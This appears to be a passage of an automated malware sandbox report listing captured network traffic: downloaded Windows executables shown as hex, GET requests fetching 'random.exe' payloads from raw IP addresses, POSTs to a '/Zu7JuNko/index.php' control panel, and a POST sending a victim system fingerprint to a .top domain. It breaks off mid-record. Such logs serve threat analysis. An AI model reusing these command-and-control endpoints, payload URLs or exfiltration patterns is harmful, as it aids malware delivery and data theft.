Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:53:12 GMTContent-Type: application/octet-streamContent-Length: 2126848Last-Modified: Tue, 11 Feb 2025 06:36:40 GMTConnection: keep-aliveETag: "67aaeff8-207400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1d e9 b6 df 59 88 d8 8c 59 88 d8 8c 59 88 d8 8c 33 94 da 8c 70 88 d8 8c 59 88 d9 8c 5b 88 d8 8c eb 94 c8 8c 5b 88 d8 8c 59 88 d8 8c 56 88 d8 8c e1 8e de 8c 58 88 d8 8c 52 69 63 68 59 88 d8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 45 5f 8e 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 de 00 00 00 b6 05 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 4a 00 00 04 00 00 d0 00 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b f0 06 00 6f 00 00 00 00 e0 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 06 00 00 10 00 00 00 4a 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 e0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 06 00 00 02 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 29 00 00 00 07 00 00 02 00 00 00 60 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6e 71 62 75 70 66 69 00 f0 19 00 00 60 30 00 00 ec 19 00 00 62 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6a 6c 63 7a 7a 7a 77 00 10 00 00 00 50 4a 00 00 04 00 00 00 4e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 52 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:53:18 GMTContent-Type: application/octet-streamContent-Length: 18374656Last-Modified: Mon, 10 Feb 2025 19:16:35 GMTConnection: keep-aliveETag: "67aa5093-1186000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 c4 4f aa 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 c6 00 00 00 0e 53 00 00 00 00 00 ba e3 d5 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 eb 01 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 f1 a0 01 64 00 00 00 00 00 00 00 00 00 00 00 40 c4 ea 01 20 2b 00 00 00 00 00 00 00 00 00 00 00 f0 ea 01 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 28 d6 00 28 00 00 00 00 c3 ea 01 38 01 00 00 00 00 00 00 00 00 00 00 00 90 d2 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a6 c4 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc 5c 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 f4 52 00 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 bc 01 00 00 00 40 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 50 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 60 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6f 6d 58 00 00 00 00 fa 17 7e 00 00 70 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 75 56 7a 00 00 00 00 68 08 00 00 00 90 d2 00 00 0a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7d 3d 4a 00 00 00 00 60 4f 18 01 00 a0 d2 00 00 50 18 01 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 20 01 00 00 00 f0 ea 01 00 02 00 00 00 5e 18 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /sok33tn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET /files/martin1/random.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 34 39 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1074960001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /joLepLgSzIBRhlkJbQYx1739003311 HTTP/1.1Host: home.fivepp5sb.topAccept: */*Content-Type: application/jsonContent-Length: 442984Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 35 32 31 33 32 31 34 30 30 30 35 31 33 30 36 37 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 